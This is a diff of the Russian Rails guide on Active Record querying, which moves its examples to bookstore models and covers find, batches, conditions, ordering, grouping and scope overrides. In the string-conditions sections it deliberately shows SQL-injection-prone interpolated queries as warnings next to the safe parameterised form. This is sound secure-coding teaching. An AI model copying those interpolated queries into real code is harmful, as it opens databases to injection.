:orders, join_table: 'books_orders' + + scope :in_print, -> { where(out_of_print: false) } + scope :out_of_print, -> { where(out_of_print: true) } + scope :old, -> { where('year_published < ?', 50.years.ago )} + scope :out_of_print_and_expensive, -> { out_of_print.where('price > 500') } + scope :costs_more_than, ->(amount) { where('price > ?', amount) } end ``` ```ruby -class Address < ApplicationRecord - belongs_to :client +class Customer < ApplicationRecord + has_many :orders + has_many :reviews end ``` ```ruby class Order < ApplicationRecord - belongs_to :client, counter_cache: true + belongs_to :customer + has_and_belongs_to_many :books, join_table: 'books_orders' + + enum status: [:shipped, :being_packed, :complete, :cancelled] + + scope :created_before, ->(time) { where('created_at < ?', time) } end ``` ```ruby -class Role < ApplicationRecord - has_and_belongs_to_many :clients +class Review < ApplicationRecord + belongs_to :customer + belongs_to :book + + enum state: [:not_reviewed, :published, :hidden] end ``` +```ruby +class Supplier < ApplicationRecord + has_many :books + has_many :authors, through: :books +end +``` + +![Диаграмма всех моделей книжного магазина](images/active_record_querying/bookstore_models.png) + Получение объектов из базы данных --------------------------------- @@ -104,15 +135,15 @@ Active Record предоставляет несколько различных Используя метод `find`, можно получить объект, соответствующий определенному первичному ключу (_primary key_) и предоставленным опциям. Например: ```ruby -# Ищет клиента с первичным ключом (id) 10. -client = Client.find(10) -# => # +# Ищет покупателя с первичным ключом (id) 10. +customer = Customer.find(10) +# => # ``` SQL эквивалент этого такой: ```sql -SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1 +SELECT * FROM customers WHERE (customers.id = 10) LIMIT 1 ``` Метод `find` вызывает исключение `ActiveRecord::RecordNotFound`, если соответствующей записи не было найдено. @@ -120,15 +151,15 @@ SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1 Этот метод также можно использовать для получения нескольких объектов. Вызовите метод `find` и передайте в него массив первичных ключей. Возвращенным результатом будет массив, содержащий все записи, соответствующие представленным _первичным ключам_. Например: ```ruby -# Найдем клиентов с первичными ключами 1 и 10. -clients = Client.find([1, 10]) # Или даже Client.find(1, 10) -# => [#, #] +# Найдем покупателей с первичными ключами 1 и 10. +customers = Customer.find([1, 10]) # Or even Customer.find(1, 10) +# => [#, #] ``` SQL эквивалент этого такой: ```sql -SELECT * FROM clients WHERE (clients.id IN (1,10)) +SELECT * FROM customers WHERE (customers.id IN (1,10)) ``` #### `take` @@ -136,14 +167,14 @@ SELECT * FROM clients WHERE (clients.id IN (1,10)) Метод `take` получает запись без какого-либо явного упорядочивания. Например: ```ruby -client = Client.take -# => # +customer = Customer.take +# => # ``` SQL эквивалент этого такой: ```sql -SELECT * FROM clients LIMIT 1 +SELECT * FROM customers LIMIT 1 ``` Метод `take` возвращает `nil`, если ни одной записи не найдено, и исключение не будет вызвано. @@ -151,17 +182,17 @@ SELECT * FROM clients LIMIT 1 В метод `take` можно передать числовой аргумент, чтобы вернуть это количество результатов. Например ```ruby -clients = Client.take(2) +customers = Customer.take(2) # => [ -# #, -# # +# #, +# # # ] ``` SQL эквивалент этого такой: ```sql -SELECT * FROM clients LIMIT 2 +SELECT * FROM customers LIMIT 2 ``` Метод `take!` ведет себя подобно `take`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. @@ -173,14 +204,14 @@ TIP: Получаемая запись может отличаться в зав Метод `first` находит первую запись, упорядоченную по первичному ключу (по умолчанию). Например: ```ruby -client = Client.first -# => # +customer = Customer.first +# => # ``` SQL эквивалент этого такой: ```sql -SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1 +SELECT * FROM customers ORDER BY customers.id ASC LIMIT 1 ``` Метод `first` возвращает `nil`, если не найдено соответствующей записи, и исключение не вызывается. @@ -190,31 +221,31 @@ SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1 В метод `first` можно передать числовой аргумент, чтобы вернуть это количество результатов. Например ```ruby -clients = Client.first(3) +customers = Customer.first(3) # => [ -# #, -# #, -# # +# #, +# #, +# # # ] ``` SQL эквивалент этого такой: ```sql -SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3 +SELECT * FROM customers ORDER BY customers.id ASC LIMIT 3 ``` На коллекции, упорядоченной с помощью `order`, `first` вернет первую запись, упорядоченную по указанному в `order` атрибуту. ```ruby -client = Client.order(:first_name).first -# => # +customer = Customer.order(:first_name).first +# => # ``` SQL эквивалент этого такой: ```sql -SELECT * FROM clients ORDER BY clients.first_name ASC LIMIT 1 +SELECT * FROM customers ORDER BY customers.first_name ASC LIMIT 1 ``` Метод `first!` ведет себя подобно `first`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. @@ -224,14 +255,14 @@ SELECT * FROM clients ORDER BY clients.first_name ASC LIMIT 1 Метод `last` находит последнюю запись, упорядоченную по первичному ключу (по умолчанию). Например: ```ruby -client = Client.last -# => # +customer = Customer.last +# => # ``` SQL эквивалент этого такой: ```sql -SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 +SELECT * FROM customers ORDER BY customers.id DESC LIMIT 1 ``` Метод `last` возвращает `nil`, если не найдено соответствующей записи, и исключение не вызывается. @@ -241,31 +272,31 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 В метод `last` можно передать числовой аргумент, чтобы вернуть это количество результатов. Например ```ruby -clients = Client.last(3) +customers = Customer.last(3) # => [ -# #, -# #, -# # +# #, +# #, +# # # ] ``` SQL эквивалент этого такой: ```sql -SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3 +SELECT * FROM customers ORDER BY customers.id DESC LIMIT 3 ``` На коллекции, упорядоченной с помощью `order`, `last` вернет последнюю запись, упорядоченную по указанному в `order` атрибуту. ```ruby -client = Client.order(:first_name).last -# => # +customer = Customer.order(:first_name).last +# => # ``` SQL эквивалент этого такой: ```sql -SELECT * FROM clients ORDER BY clients.first_name DESC LIMIT 1 +SELECT * FROM customers ORDER BY customers.first_name DESC LIMIT 1 ``` Метод `last!` ведет себя подобно `last`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. @@ -275,52 +306,52 @@ SELECT * FROM clients ORDER BY clients.first_name DESC LIMIT 1 Метод `find_by` ищет первую запись, соответствующую некоторым условиям. Например: ```ruby -Client.find_by first_name: 'Lifo' -# => # +Customer.find_by first_name: 'Lifo' +# => # -Client.find_by first_name: 'Jon' +Customer.find_by first_name: 'Jon' # => nil ``` Это эквивалент записи: ```ruby -Client.where(first_name: 'Lifo').take +Customer.where(first_name: 'Lifo').take ``` SQL эквивалент выражения выше, следующий: ```sql -SELECT * FROM clients WHERE (clients.first_name = 'Lifo') LIMIT 1 +SELECT * FROM customers WHERE (customers.first_name = 'Lifo') LIMIT 1 ``` Метод `find_by!` ведет себя подобно `find_by`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. Например: ```ruby -Client.find_by! first_name: 'does not exist' +Customer.find_by! first_name: 'does not exist' # => ActiveRecord::RecordNotFound ``` Это эквивалент записи: ```ruby -Client.where(first_name: 'does not exist').take! +Customer.where(first_name: 'does not exist').take! ``` ### Получение нескольких объектов пакетами -Часто необходимо перебрать огромный набор записей, например, когда рассылаем письма всем пользователям или импортируем некоторые данные. +Часто необходимо перебрать огромный набор записей, например, когда рассылаем письма всем покупателям или импортируем некоторые данные. Это может показаться простым: ```ruby # Это может потребить слишком много памяти, если таблица большая. -User.all.each do |user| - NewsMailer.weekly(user).deliver_now +Customer.all.each do |customer| + NewsMailer.weekly(customer).deliver_now end ``` -Но этот подход становится очень непрактичным с увеличением размера таблицы, поскольку `User.all.each` говорит Active Record извлечь _таблицу полностью_ за один проход, создать объект модели для каждой строки и держать этот массив в памяти. В реальности, если имеется огромное количество записей, полная коллекция может превысить количество доступной памяти. +Но этот подход становится очень непрактичным с увеличением размера таблицы, поскольку `Customer.all.each` говорит Active Record извлечь _таблицу полностью_ за один проход, создать объект модели для каждой строки и держать этот массив в памяти. В реальности, если имеется огромное количество записей, полная коллекция может превысить количество доступной памяти. Rails предоставляет два метода, которые решают эту проблему путем разделения записей на дружелюбные к памяти пакеты для обработки. Первый метод, `find_each`, получает пакет записей и затем вкладывает _каждую_ запись в блок отдельно как модель. Второй метод, `find_in_batches`, получает пакет записей и затем вкладывает _весь пакет_ в блок как массив моделей. @@ -328,11 +359,11 @@ TIP: Методы `find_each` и `find_in_batches` предназначены д #### `find_each` -Метод `find_each` получает пакет записей и затем передает _каждую_ запись в блок. В следующем примере `find_each` получает пользователей пакетами по 1000 записей, а затем передает их в блок один за другим: +Метод `find_each` получает пакет записей и затем передает _каждую_ запись в блок. В следующем примере `find_each` получает покупателей пакетами по 1000 записей, а затем передает их в блок один за другим: ```ruby -User.find_each do |user| - NewsMailer.weekly(user).deliver_now +Customer.find_each do |customer| + NewsMailer.weekly(customer).deliver_now end ``` @@ -341,8 +372,8 @@ end `find_each` работает на классах модели, как показано выше, а также на relation: ```ruby -User.where(weekly_subscriber: true).find_each do |user| - NewsMailer.weekly(user).deliver_now +Customer.where(weekly_subscriber: true).find_each do |customer| + NewsMailer.weekly(customer).deliver_now end ``` @@ -357,8 +388,8 @@ end Опция `:batch_size` позволяет определить число записей, подлежащих получению в одном пакете, до передачи отдельной записи в блок. Например, для получения 5000 записей в пакете: ```ruby -User.find_each(batch_size: 5000) do |user| - NewsMailer.weekly(user).deliver_now +Customer.find_each(batch_size: 5000) do |customer| + NewsMailer.weekly(customer).deliver_now end ``` @@ -366,11 +397,11 @@ end По умолчанию записи извлекаются в порядке увеличения первичного ключа. Опция `:start` позволяет вам настроить первый ID последовательности, когда наименьший ID не тот, что вам нужен. Это может быть полезно, например, если хотите возобновить прерванный процесс пакетирования, предоставив последний обработанный ID как контрольную точку. -Например, чтобы выслать письма только пользователям с первичным ключом, начинающимся от 2000: +Например, чтобы выслать письма только покупателям с первичным ключом, начинающимся от 2000: ```ruby -User.find_each(start: 2000) do |user| - NewsMailer.weekly(user).deliver_now +Customer.find_each(start: 2000) do |customer| + NewsMailer.weekly(customer).deliver_now end ``` @@ -379,11 +410,11 @@ end Подобно опции `:start`, `:finish` позволяет указать последний ID последовательности, когда наибольший ID не тот, что вам нужен. Это может быть полезно, например, если хотите запустить процесс пакетирования, используя подмножество записей на основании `:start` и `:finish` -Например, чтобы выслать письма только пользователям с первичным ключом от 2000 до 10000: +Например, чтобы выслать письма только покупателям с первичным ключом от 2000 до 10000: ```ruby -User.find_each(start: 2000, finish: 10000) do |user| - NewsMailer.weekly(user).deliver_now +Customer.find_each(start: 2000, finish: 10000) do |customer| + NewsMailer.weekly(customer).deliver_now end ``` @@ -395,20 +426,21 @@ end #### `find_in_batches` -Метод `find_in_batches` похож на `find_each` тем, что они оба получают пакеты записей. Различие в том, что `find_in_batches` передает в блок _пакеты_ как массив моделей, вместо отдельной модели. Следующий пример передаст в представленный блок массив из 1000 счетов за раз, а в последний блок содержащий все оставшиеся счета: +Метод `find_in_batches` похож на `find_each` тем, что они оба получают пакеты записей. Различие в том, что `find_in_batches` передает в блок _пакеты_ как массив моделей, вместо отдельной модели. Следующий пример передаст в представленный блок массив из 1000 счетов за раз, а в последний блок содержащий всех оставшихся покупателей: ```ruby -# Передает в add_invoices массив из 1000 счетов за раз. -Invoice.find_in_batches do |invoices| - export.add_invoices(invoices) +# Передает в add_customers массив из 1000 покупателей за раз. +Customer.find_in_batches do |customers| + export.add_customers(customers) end ``` `find_in_batches` работает на классах модели, как показано выше, а также на relation: ```ruby -Invoice.pending.find_in_batches do |invoices| - pending_invoices_export.add_invoices(invoices) +# Передает в add_customers массив из 1000 недавно активных покупателей за раз. +Customer.recently_active.find_in_batches do |customers| + export.add_customers(customers) end ``` @@ -416,7 +448,41 @@ end ##### Опции для `find_in_batches` -Метод `find_in_batches` принимает те же опции, что и `find_each`. +Метод `find_in_batches` принимает те же опции, что и `find_each`: + +**`:batch_size`** + +Как и для `find_each`, `batch_size` устанавливает, сколько записей будет извлечено в каждой группе. Например, получение пакетов по 2500 записей может быть определено как: + +```ruby +Customer.find_in_batches(batch_size: 2500) do |customers| + export.add_customers(customers) +end +``` + +**`:start`** + +Опция `:start` позволяет вам указать начальный ID, начиная с которого будут выбраны записи. Как уже упоминалось, по умолчанию записи извлекаются по возрастанию первичного ключа. Например, чтобы получить покупателей начиная с ID: 5000 пакетами по 2500 записей, можно использовать следующий код: + +```ruby +Customer.find_in_batches(batch_size: 2500, start: 5000) do |customers| + export.add_customers(customers) +end +``` + +**`:finish`** + +Опция `finish` позволяет указать последний ID записей для извлечения. Нижеследующий код показывает случай извлечения покупателей пакетами до покупателя с ID: 7000: + +```ruby +Customer.find_in_batches(finish: 7000) do |customers| + export.add_customers(customers) +end +``` + +**`:error_on_ignore`** + +Опция `error_on_ignore` переопределяет настройку приложения, указывающую, должна ли быть вызвана ошибка, если в relation присутствует упорядочивание. Условия ------- @@ -425,16 +491,16 @@ end ### (pure-string-conditions) Чисто строковые условия -Если вы хотите добавить условия в свой поиск, можете просто определить их там, подобно `Client.where("orders_count = '2'")`. Это найдет всех клиентов, где значение поля `orders_count` равно 2. +Если вы хотите добавить условия в свой поиск, можете просто определить их там, подобно `Book.where("title = 'Introduction to Algorithms'")`. Это найдет все книги, где значение поля `title` равно 'Introduction to Algorithms'. -WARNING: Создание условий в чистой строке подвергает вас риску SQL-инъекций. Например, `Client.where("first_name LIKE '%#{params[:first_name]}%'")` не безопасно. Смотрите следующий раздел для более предпочтительного способа обработки условий с использованием массива. +WARNING: Создание условий в чистой строке подвергает вас риску SQL-инъекций. Например, `Book.where("title LIKE '%#{params[:title]}%'")` не безопасно. Смотрите следующий раздел для более предпочтительного способа обработки условий с использованием массива. ### (array-conditions) Условия с использованием массива -Что если количество может изменяться, скажем, как аргумент откуда-то извне, возможно даже от пользователя? Поиск тогда принимает такую форму: +Что если заголовок может быть задан, скажем, как аргумент откуда-то извне? Поиск тогда принимает такую форму: ```ruby -Client.where("orders_count = ?", params[:orders]) +Book.where("title = ?", params[:title]) ``` Active Record примет первый аргумент в качестве строки условия, а все остальные элементы подставит вместо знаков вопроса `(?)` в ней. @@ -442,21 +508,21 @@ Active Record примет первый аргумент в качестве с Если хотите определить несколько условий: ```ruby -Client.where("orders_count = ? AND locked = ?", params[:orders], false) +Book.where("title = ? AND out_of_print = ?", params[:title], false) ``` -В этом примере первый знак вопроса будет заменен на значение в `params[:orders]` и второй будет заменен SQL аналогом `false`, который зависит от адаптера. +В этом примере первый знак вопроса будет заменен на значение в `params[:title]` и второй будет заменен SQL аналогом `false`, который зависит от адаптера. Этот код значительно предпочтительнее: ```ruby -Client.where("orders_count = ?", params[:orders]) +Book.where("title = ?", params[:title]) ``` чем такой код: ```ruby -Client.where("orders_count = #{params[:orders]}") +Book.where("title = #{params[:title]}") ``` по причине безопасности аргумента. Помещение переменной прямо в строку условий передает переменную в базу данных _как есть_. Это означает, что неэкранированная переменная, переданная пользователем, может иметь злой умысел. Если так сделать, вы подвергаете базу данных риску, так как если пользователь обнаружит, что он может использовать вашу базу данных, то он сможет сделать с ней что угодно. Никогда не помещайте аргументы прямо в строку условий! @@ -468,7 +534,7 @@ TIP: Подробнее об опасности SQL-инъекций можно Подобно тому, как `(?)` заменяют параметры, можно использовать ключи в условиях совместно с соответствующим хэшем ключей/значений: ```ruby -Client.where("created_at >= :start_date AND created_at <= :end_date", +Book.where("created_at >= :start_date AND created_at <= :end_date", {start_date: params[:start_date], end_date: params[:end_date]}) ``` @@ -483,38 +549,39 @@ NOTE: Хэшем можно передать условия проверки т #### Условия равенства ```ruby -Client.where(locked: true) +Book.where(out_of_print: true) ``` Это сгенерирует такой SQL: ```sql -SELECT * FROM clients WHERE (clients.locked = 1) +SELECT * FROM books WHERE (books.out_of_print = 1) ``` Имя поля также может быть строкой, а не символом: ```ruby -Client.where('locked' => true) +Book.where('out_of_print' => true) ``` В случае отношений belongs_to, может быть использован ключ связи для указания модели, если как значение используется объект Active Record. Этот метод также работает с полиморфными отношениями. ```ruby -Article.where(author: author) -Author.joins(:articles).where(articles: { author: author }) +author = Author.first +Book.where(author: author) +Author.joins(:books).where(books: { author: author }) ``` #### Интервальные условия ```ruby -Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight) +Book.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight) ``` -Это найдет всех клиентов, созданных вчера, с использованием SQL выражения `BETWEEN`: +Это найдет все книги, созданные вчера, с использованием SQL выражения `BETWEEN`: ```sql -SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00') +SELECT * FROM books WHERE (books.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00') ``` Это была демонстрация более короткого синтаксиса для примеров в [Условия с использованием массива](#array-conditions) @@ -524,13 +591,13 @@ SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AN Если хотите найти записи, используя выражение `IN`, можете передать массив в хэш условий: ```ruby -Client.where(orders_count: [1,3,5]) +Customer.where(orders_count: [1,3,5]) ``` Этот код сгенерирует подобный SQL: ```sql -SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5)) +SELECT * FROM customers WHERE (customers.orders_count IN (1,3,5)) ``` ### Условия NOT @@ -538,13 +605,13 @@ SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5)) Запросы `NOT` в SQL могут быть созданы с помощью `where.not`: ```ruby -Client.where.not(locked: true) +Customer.where.not(orders_count: [1,3,5]) ``` Другими словами, этот запрос может быть сгенерирован с помощью вызова `where` без аргументов и далее присоединенным `not` с переданными условиями для `where`. Это сгенерирует такой SQL: ```sql -SELECT * FROM clients WHERE (clients.locked != 1) +SELECT * FROM customers WHERE (customers.orders_count NOT IN (1,3,5)) ``` ### Условия OR @@ -552,11 +619,11 @@ SELECT * FROM clients WHERE (clients.locked != 1) Условия `OR` между двумя отношениями могут быть построены путем вызова `or` на первом отношении и передачи второго в качестве аргумента. ```ruby -Client.where(locked: true).or(Client.where(orders_count: [1,3,5])) +Customer.where(last_name: 'Smith').or(Customer.where(orders_count: [1,3,5])) ``` ```sql -SELECT * FROM clients WHERE (clients.locked = 1 OR clients.orders_count IN (1,3,5)) +SELECT * FROM customers WHERE (customers.last_name = 'Smith' OR customers.orders_count IN (1,3,5)) ``` (ordering) Сортировка @@ -567,40 +634,40 @@ SELECT * FROM clients WHERE (clients.locked = 1 OR clients.orders_count IN (1,3, Например, если вы получаете ряд записей и хотите упорядочить их в порядке возрастания поля `created_at` в таблице: ```ruby -Client.order(:created_at) +Customer.order(:created_at) # ИЛИ -Client.order("created_at") +Customer.order("created_at") ``` Также можете определить `ASC` или `DESC`: ```ruby -Client.order(created_at: :desc) +Customer.order(created_at: :desc) # ИЛИ -Client.order(created_at: :asc) +Customer.order(created_at: :asc) # ИЛИ -Client.order("created_at DESC") +Customer.order("created_at DESC") # ИЛИ -Client.order("created_at ASC") +Customer.order("created_at ASC") ``` Или сортировку по нескольким полям: ```ruby -Client.order(orders_count: :asc, created_at: :desc) +Customer.order(orders_count: :asc, created_at: :desc) # ИЛИ -Client.order(:orders_count, created_at: :desc) +Customer.order(:orders_count, created_at: :desc) # ИЛИ -Client.order("orders_count ASC, created_at DESC") +Customer.order("orders_count ASC, created_at DESC") # ИЛИ -Client.order("orders_count ASC", "created_at DESC") +Customer.order("orders_count ASC", "created_at DESC") ``` Если хотите вызвать `order` несколько раз, последующие сортировки будут добавлены к первой: ```ruby -Client.order("orders_count ASC").order("created_at DESC") -# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC +Customer.order("orders_count ASC").order("created_at DESC") +# SELECT * FROM customers ORDER BY orders_count ASC, created_at DESC ``` WARNING: В большинстве СУБД при выборе полей с помощью `distinct` из результирующей выборки используя методы, такие как `select`, `pluck` и `ids`; метод `order` вызовет исключение `ActiveRecord::StatementInvalid`, если поля, используемые в выражении `order`, не включены в список выбора. Смотрите следующий раздел по выбору полей из результирующей выборки. @@ -612,23 +679,23 @@ WARNING: В большинстве СУБД при выборе полей с п Чтобы выбрать подмножество полей из всего множества, можете определить его, используя метод `select`. -Например, чтобы выбрать только столбцы `viewable_by` и `locked`: +Например, чтобы выбрать только столбцы `isbn` и `out_of_print`: ```ruby -Client.select(:viewable_by, :locked) +Book.select(:isbn, :out_of_print) # ИЛИ -Client.select("viewable_by, locked") +Book.select("isbn, out_of_print") ``` Используемый для этого запрос SQL будет иметь подобный вид: ```sql -SELECT viewable_by, locked FROM clients +SELECT isbn, out_of_print FROM books ``` Будьте осторожны, поскольку это также означает, что будет инициализирован объект модели только с теми полями, которые вы выбрали. Если вы попытаетесь обратиться к полям, которых нет в инициализированной записи, то получите: -```bash +``` ActiveModel::MissingAttributeError: missing attribute: ``` @@ -637,23 +704,23 @@ ActiveModel::MissingAttributeError: missing attribute: Если хотите вытащить только по одной записи для каждого уникального значения в определенном поле, можно использовать `distinct`: ```ruby -Client.select(:name).distinct +Customer.select(:last_name).distinct ``` Это сгенерирует такой SQL: ```sql -SELECT DISTINCT name FROM clients +SELECT DISTINCT last_name FROM customers ``` Также можно убрать ограничение уникальности: ```ruby -query = Client.select(:name).distinct -# => Возвратит уникальные имена +query = Customer.select(:last_name).distinct +# => Возвратит уникальные last_name query.distinct(false) -# => Возвратит все имена, даже если есть дубликаты +# => Возвратит все last_name, даже если есть дубликаты ``` Ограничение и смещение @@ -664,25 +731,25 @@ query.distinct(false) Используйте `limit` для определения количества записей, которые будут получены, и `offset` - для числа записей, которые будут пропущены до начала возврата записей. Например: ```ruby -Client.limit(5) +Customer.limit(5) ``` -возвратит максимум 5 клиентов, и, поскольку не определено смещение, будут возвращены первые 5 клиентов в таблице. Выполняемый SQL будет выглядеть подобным образом: +возвратит максимум 5 покупателей, и, поскольку не определено смещение, будут возвращены первые 5 в таблице. Выполняемый SQL будет выглядеть подобным образом: ```sql -SELECT * FROM clients LIMIT 5 +SELECT * FROM customers LIMIT 5 ``` Добавление `offset` к этому ```ruby -Client.limit(5).offset(30) +Customer.limit(5).offset(30) ``` -Возвратит максимум 5 клиентов, начиная с 31-го. SQL выглядит так: +Возвратит максимум 5 покупателей, начиная с 31-го. SQL выглядит так: ```sql -SELECT * FROM clients LIMIT 5 OFFSET 30 +SELECT * FROM customers LIMIT 5 OFFSET 30 ``` Группировка @@ -693,7 +760,7 @@ SELECT * FROM clients LIMIT 5 OFFSET 30 Например, если хотите найти коллекцию дат, в которые были созданы заказы: ```ruby -Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)") +Order.select("created_at").group("created_at") ``` Это выдаст вам отдельный объект `Order` на каждую дату, для которой были заказы в базе данных. @@ -701,9 +768,9 @@ Order.select("date(created_at) as ordered_date, sum(price) as total_price").grou SQL, который будет выполнен, будет выглядеть так: ```sql -SELECT date(created_at) as ordered_date, sum(price) as total_price +SELECT created_at FROM orders -GROUP BY date(created_at) +GROUP BY created_at ``` ### Общее количество сгруппированных элементов @@ -712,14 +779,14 @@ GROUP BY date(created_at) ```ruby Order.group(:status).count -# => { 'awaiting_approval' => 7, 'paid' => 12 } +# => { 'being_packed' => 7, 'shipped' => 12 } ``` SQL, который будет выполнен, будет выглядеть так: ```sql SELECT COUNT (*) AS count_all, status AS status -FROM "orders" +FROM orders GROUP BY status ``` @@ -731,19 +798,31 @@ SQL использует условие `HAVING` для определения Например: ```ruby -Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)").having("sum(price) > ?", 100) +Order.select("created_at, sum(total) as total_price"). + group("created_at").having("sum(total) > ?", 200) ``` SQL, который будет выполнен, выглядит так: ```sql -SELECT date(created_at) as ordered_date, sum(price) as total_price +SELECT created_at as ordered_date, sum(total) as total_price FROM orders -GROUP BY date(created_at) -HAVING sum(price) > 100 +GROUP BY created_at +HAVING sum(total) > 200 ``` -Это возвращает дату и итоговую цену для каждого объекта заказа, сгруппированные по дню, когда они были заказаны, и где цена больше $100. +Это возвращает дату и итоговую цену для каждого объекта заказа, сгруппированные по дню, когда они были заказаны, и где цена больше $200. + +Получить `total_price` каждого возвращенного объекта заказа можно так: + +```ruby +big_orders = Order.select("created_at, sum(total) as total_price") + .group("created_at") + .having("sum(total) > ?", 200) + +big_orders[0].total_price +# Возвращает итоговую цену первого объекта Order +``` Переопределяющие условия ------------------------ @@ -753,31 +832,31 @@ HAVING sum(price) > 100 Можете указать определенные условия, которые будут убраны, используя метод `unscope`. Например: ```ruby -Article.where('id > 10').limit(20).order('id asc').unscope(:order) +Book.where('id > 100').limit(20).order('id desc').unscope(:order) ``` SQL, который будет выполнен, будет выглядеть так: ```sql -SELECT * FROM articles WHERE id > 10 LIMIT 20 +SELECT * FROM books WHERE id > 100 LIMIT 20 # Оригинальный запрос без `unscope` -SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20 +SELECT * FROM books WHERE id > 100 ORDER BY id desc LIMIT 20 ``` -Также можно убрать определенные условия `where`. Например: +Также можно убрать определенные условия `where`. Например, это уберет условие для `id` из условия where: ```ruby -Article.where(id: 10, trashed: false).unscope(where: :id) -# SELECT "articles".* FROM "articles" WHERE trashed = 0 +Book.where(id: 10, out_of_print: false).unscope(where: :id) +# SELECT books.* FROM books WHERE out_of_print = 0 ``` Relation, использующий `unscope` повлияет на любой relation, в который он слит: ```ruby -Article.order('id asc').merge(Article.unscope(:order)) -# SELECT "articles".* FROM "articles" +Book.order('id desc').merge(Book.unscope(:order)) +# SELECT books.* FROM books ``` ### `only` @@ -785,16 +864,16 @@ Article.order('id asc').merge(Article.unscope(:order)) Также можно переопределить условия, используя метод `only`. Например: ```ruby -Article.where('id > 10').limit(20).order('id desc').only(:order, :where) +Book.where('id > 10').limit(20).order('id desc').only(:order, :where) ``` SQL, который будет выполнен, будет выглядеть так: ```sql -SELECT * FROM articles WHERE id > 10 ORDER BY id DESC +SELECT * FROM books WHERE id > 10 ORDER BY id DESC # Оригинальный запрос без `only` -SELECT * FROM articles WHERE id > 10 ORDER BY id DESC LIMIT 20 +SELECT * FROM books WHERE id > 10 ORDER BY id DESC LIMIT 20 ``` @@ -803,53 +882,61 @@ SELECT * FROM articles WHERE id > 10 ORDER BY id DESC LIMIT 20 Метод `reselect` переопределяет существующее выражение select. Например: ```ruby -Post.select(:title, :body).reselect(:created_at) +Book.select(:title, :isbn).reselect(:created_at) ``` SQL, который будет выполнен: ```sql -SELECT `posts`.`created_at` FROM `posts` +SELECT `books`.`created_at` FROM `books` ``` -В случае, когда не было использовано выражение `reselect`, +Сравните это со случаем, когда не было использовано выражение `reselect`: ```ruby -Post.select(:title, :body).select(:created_at) +Book.select(:title, :isbn).select(:created_at) ``` SQL, который будет выполнен: ```sql -SELECT `posts`.`title`, `posts`.`body`, `posts`.`created_at` FROM `posts` +SELECT `books`.`title`, `books`.`isbn`, `books`.`created_at` FROM `books` ``` ### `reorder` -Метод `reorder` переопределяет сортировку скоупа по умолчанию. Например: +Метод `reorder` переопределяет сортировку скоупа по умолчанию. Например, если определение класса включает это: ```ruby -class Article < ApplicationRecord - .. - .. - has_many :comments, -> { order('posted_at DESC') } +class Author < ApplicationRecord + has_many :books, -> { order(year_published: :desc) } end +``` + +И вы выполняете это: -Article.find(10).comments.reorder('name') +```ruby +Author.find(10).books ``` SQL, который будет выполнен, будет выглядеть так: ```sql -SELECT * FROM articles WHERE id = 10 LIMIT 1 -SELECT * FROM comments WHERE article_id = 10 ORDER BY name +SELECT * FROM authors WHERE id = 10 LIMIT 1 +SELECT * FROM books WHERE author_id = 10 ORDER BY year_published DESC +``` + +Можно использовать выражение `reorder` для указания иного способа упорядочивания книг: + +```ruby +Author.find(10).books.reorder('year_published ASC') ``` -В случае, когда условие `reorder` не было использовано, выполненный SQL будет: +SQL, который будет выполнен: ```sql -SELECT * FROM articles WHERE id = 10 LIMIT 1 -SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC +SELECT * FROM authors WHERE id = 10 LIMIT 1 +SELECT * FROM books WHERE author_id = 10 ORDER BY year_published ASC ``` ### `reverse_order` @@ -857,53 +944,53 @@ SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC Метод `reverse_order` меняет направление условия сортировки, если оно определено: ```ruby -Client.where("orders_count > 10").order(:name).reverse_order +Customer.where("orders_count > 10").order(:last_name).reverse_order ``` SQL, который будет выполнен, будет выглядеть так: ```sql -SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC +SELECT * FROM customers WHERE orders_count > 10 ORDER BY last_name DESC ``` Если условие сортировки не было определено в запросе, `reverse_order` сортирует по первичному ключу в обратном порядке: ```ruby -Client.where("orders_count > 10").reverse_order +Customer.where("orders_count > 10").reverse_order ``` SQL, который будет выполнен, будет выглядеть так: ```sql -SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC +SELECT * FROM customers WHERE orders_count > 10 ORDER BY customers.id DESC ``` -Этот метод не принимает аргументы. +Метод `reverse_order` не принимает аргументы. ### `rewhere` Метод `rewhere` переопределяет существующее именованное условие `where`. Например: ```ruby -Article.where(trashed: true).rewhere(trashed: false) +Book.where(out_of_print: true).rewhere(out_of_print: false) ``` SQL, который будет выполнен, будет выглядеть так: ```sql -SELECT * FROM articles WHERE `trashed` = 0 +SELECT * FROM books WHERE `out_of_print` = 0 ``` -В случае, когда не используется условие `rewhere`, +В случае, когда не используется условие `rewhere`, условия where соединяются с помощью AND ```ruby -Article.where(trashed: true).where(trashed: false) +Book.where(out_of_print: true).where(out_of_print: false) ``` выполненный SQL будет следующий: ```sql -SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0 +SELECT * FROM books WHERE `out_of_print` = 1 AND `out_of_print` = 0 ``` Нулевой Relation @@ -912,21 +999,23 @@ SELECT * FROM articles WHERE 